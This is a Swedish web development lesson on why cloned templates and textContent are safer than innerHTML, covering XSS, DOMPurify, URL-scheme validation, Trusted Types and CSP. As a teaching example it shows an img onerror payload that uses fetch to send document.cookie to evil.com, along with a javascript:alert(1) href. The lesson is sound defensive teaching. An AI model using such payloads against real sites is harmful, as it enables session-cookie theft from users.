Mallar jämfört med innerHTML ur säkerhetssynpunkt
Förstå varför mallar är säkrare än att ange innerHTML
Mallar jämfört med innerHTML ur säkerhetssynpunkt är en gratis lektion i HTML Academy på CoddyKit. Detta är lektion 4 av 4. Du kan läsa vilka 3 lektioner som helst i den här lärvägen kostnadsfritt i sin helhet – därefter låser CoddyKit PRO upp alla lektioner, plus praktisk övning med en inbyggd kodredigerare och en AI-lärare dygnet runt. Den ingår i lärvägen för HTML Academy, och Era framsteg synkroniseras mellan webben och CoddyKit-appen. Kursen i HTML Academy innehåller totalt 4 lektioner.
Injektionsrisk med innerHTML
Om du anger el.innerHTML = userInput tolkas strängen som HTML. Om userInput innehåller <script> eller händelsehanterare som onerror kör webbläsaren dem — vilket skapar en Cross-Site Scripting (XSS)-sårbarhet.
XSS via innerHTML – exempel
En angripare skickar in användarnamnet <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Om detta renderas med innerHTML utlöses onerror och sessionscookien skickas iväg. Textinnehåll blir körbar kod.
textContent är säkert
el.textContent = userInput behandlar strängen som vanlig text — ingen HTML-tolkning och ingen körning av skript. Webbläsaren escaper automatiskt < och > i textnoder. Använd alltid textContent för värden som kommer från användare.
// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;template-elementet undviker strängtolkning
När du använder template.cloneNode(true) kommer strukturen från en förtolkad HTML-template — inte från en sträng som tillhandahålls av användaren. Genom att ange värden via textContent på klonade noder hålls användardata i textnoder, aldrig i tolkad HTML. Struktur och data hålls åtskilda.
Sanering när innerHTML behövs
Om HTML-formatering från användare krävs (rich text) ska du sanera innehållet innan du anger innerHTML. DOMPurify är standardbiblioteket: el.innerHTML = DOMPurify.sanitize(richHtml). Det tar bort farliga taggar och attribut samtidigt som säker formatering bevaras.
Risker med insertAdjacentHTML
insertAdjacentHTML("beforeend", html) tolkar också HTML-strängar — med samma XSS-risk som innerHTML. Tillämpa samma regler för sanering. Det säkrare alternativet är att skapa element med createElement, ange deras textContent och använda appendChild.
Säkerhet vid setAttribute
Att ange attribut med användardata kan skapa en injektion: el.setAttribute("href", userUrl) där userUrl är javascript:alert(1) skapar XSS. Validera URL-scheman: tillåt endast http:, https: och mailto: innan du anger attribut för href eller src.
DOM-clobbering
DOM-clobbering är en attack där namngivna formulärelement (id="getElementById") skriver över globala JavaScript-variabler. Hämta alltid element via document.getElementById() i stället för globala window-egenskaper. Content Security Policy begränsar också clobbering-attacker.
Trusted Types-policy
Trusted Types (i Chrome, aktiverat via CSP) kräver att innerHTML, insertAdjacentHTML och liknande infogningspunkter får strängar som är omslutna av en policy. Råa strängar kan inte tilldelas — endast värden som skapats av en deklarerad TrustedTypes-policy. Det förhindrar att sanering kringgås av misstag.
Säkerhet med DocumentFragment
Att skapa element med DOM-API:et (createElement, createTextNode) och ändra dem i ett DocumentFragment är i sig säkert mot XSS — text är alltid text och aldrig tolkad HTML. DocumentFragments är det säkraste sättet att bygga komplexa dynamiska användargränssnitt.
Content Security Policy
En strikt CSP (utan unsafe-inline och med nonce-baserade skript) är ett extra skydd mot XSS. Även om en angripare injicerar HTML förhindrar CSP att injicerade skript körs. CSP eliminerar inte behovet av sanering — det är ett säkerhetsnät, inte det primära skyddet.
Kunskapskontroll
Varför är textContent säkrare än innerHTML när data från användare renderas?
Sammanfattning
innerHTML och relaterade API:er tolkar HTML-strängar, vilket skapar XSS-sårbarheter när användardata interpoleras utan sanering. Genom att använda textContent, kloning av templates med ifyllnad via textContent, DOMPurify för rich text och Content Security Policy skapas ett lagerindelat skydd mot HTML-injektionsattacker.
Lär dig HTML med en AI-lärare – gratis
Skriv och kör riktig kod i webbläsaren, få omedelbar hjälp av en AI-lärare dygnet runt och fortsätt där du slutade – på webben eller i appen.
- Kurser
- 40
- Lektioner
- 159
Vanliga frågor
Är lektionen ”Mallar jämfört med innerHTML ur säkerhetssynpunkt” gratis?
Ja – du kan läsa vilka 3 lektioner som helst i lärvägen HTML Academy, inklusive ”Mallar jämfört med innerHTML ur säkerhetssynpunkt”, kostnadsfritt i sin helhet här på webben. Därefter låser CoddyKit PRO upp alla lektioner, plus interaktiv övning med en inbyggd kodredigerare och en AI-lärare dygnet runt. Kursen i HTML Academy innehåller totalt 4 lektioner.
Vad lär jag mig i ”Mallar jämfört med innerHTML ur säkerhetssynpunkt”?
Förstå varför mallar är säkrare än att ange innerHTML Ni övar på HTML Academy med praktisk kod som körs direkt i webbläsaren, medan en AI-handledare som är tillgänglig dygnet runt svarar på Era frågor under lektionen.
Behöver jag någon erfarenhet för att börja lära mig HTML Academy?
Du behöver inga förkunskaper. Utbildningen i HTML Academy på CoddyKit är upplagd för allt från nybörjare till avancerade elever, så att du kan börja här eller från början och gå fram i din egen takt. Detta är lektion 4 av 4.
Hur lång tid tar lektionen ”Mallar jämfört med innerHTML ur säkerhetssynpunkt”?
De flesta CoddyKit-lektioner tar cirka 5–10 minuter. Varje lektion är kort och interaktiv, så att du gör stadiga framsteg och kan fortsätta precis där du slutade – på webben eller i appen.
Kan jag skriva och köra kod i den här HTML Academy-lektionen?
Ja. Varje HTML Academy-lektion innehåller en inbyggd kodredigerare, så att du kan skriva och köra riktig kod direkt i webbläsaren och få omedelbar AI-feedback – utan lokal installation.
Alla lektioner i den här kursen
- template-elementet och inaktivt innehåll
- Klona mallar med cloneNode
- Använda template med JavaScript-rendering
- Mallar jämfört med innerHTML ur säkerhetssynpunkt